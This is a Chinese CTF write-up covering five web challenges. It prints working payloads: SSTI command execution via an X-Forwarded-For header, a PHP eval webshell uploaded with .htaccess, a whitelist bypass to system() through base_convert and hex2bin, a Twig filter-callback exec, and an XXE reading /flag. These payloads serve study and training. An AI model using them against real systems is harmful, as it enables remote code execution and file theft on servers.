[BJDCTF2020]The mystery of ip

打开之后查看一下Hint,在源码里看到提示

抓包,在flag.php中添加X-Forwarded-For头

发现IP可控,那就基本上是注入题了,常见的SQL注入试了一遍之后,发现没什么用,考虑模板注入

1
2
输入:{7*7}
结果:49

可以确定是SSTI注入了

payload

1
X-Forwarded-For: {system("cat /flag")}

得到flag

[GXYCTF2019]BabyUpload

打开是个上传,随便上传一个图片和PHP试试

上传PHP得到后缀名不能有ph!

所以可以确定ph是被ban掉了

和之前做过的题一样,试试图片马

上传.htaccess文件 类型改成image/jpeg

avatar

接着上传图片马

要注意的是由于头不能为ph开头,所以用script来代替

1
2
GIF89a
<script language="php">eval($_POST['attack']);</script>

得到路径访问一下,没问题用蚁剑连接

根目录得到flag

[CISCN 2019 初赛]Love Math

打开代码审计,ban掉了很多东西,设置了个白名单,基本都是数学函数,限制了长度不能超过80

搜一下白名单里没见过的函数

知识点

1
2
3
4
5
6
7
8
9
10
11
base_convert() 函数在任意进制之间转换数字  base_convert(number,frombase,tobase);

decbin() 函数把十进制转换为二进制

dechex() 函数把十进制数转换为十六进制数

decoct() 函数把十进制转换为八进制

deg2rad() 函数将角度转换为弧度

hexdec() 函数把十六进制转换为十进制

测试

有一个函数hex2bin,可以将16进制数转换为ascii,但是由于不在白名单内,所以要转换一下

由于只能使用数字,所以10进制是个选择,接着36进制可以包含数字和字符,所以将hex2bin进行转换

1
base_convert(37907361743,10,36) =>hex2bin

接着就是构建16进制数的_GET了

1
2
dechex(1598506324) =>5f474554
hex2bin("5f474554") => _GET

利用PHP的特性,构造payload

$$pi解析为$_GET,{}代替了[],从而实现了rce

1
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=tac /flag

得到flag

[BJDCTF2020]Cookie is so stable

打开之后,查看Hint,并在Flag试一下模板注入

1
2
3
{{7*'7'}} 回显7777777 ==> Jinja2

{{7*'7'}} 回显49 ==> Twig

还是模板注入的问题
https://zhuanlan.zhihu.com/p/28823933

参考这篇文章
payload

1
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

得到flag

[NCTF2019]Fake XML cookbook

打开之后,查看一下源码,发现是XML,考虑XXE
参考一下
https://www.freebuf.com/vuls/175451.html

构造一下外部实体攻击

1
2
3
4
5
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///flag">
]>
<user><username>&admin;</username><password>123456</password></user>

得到flag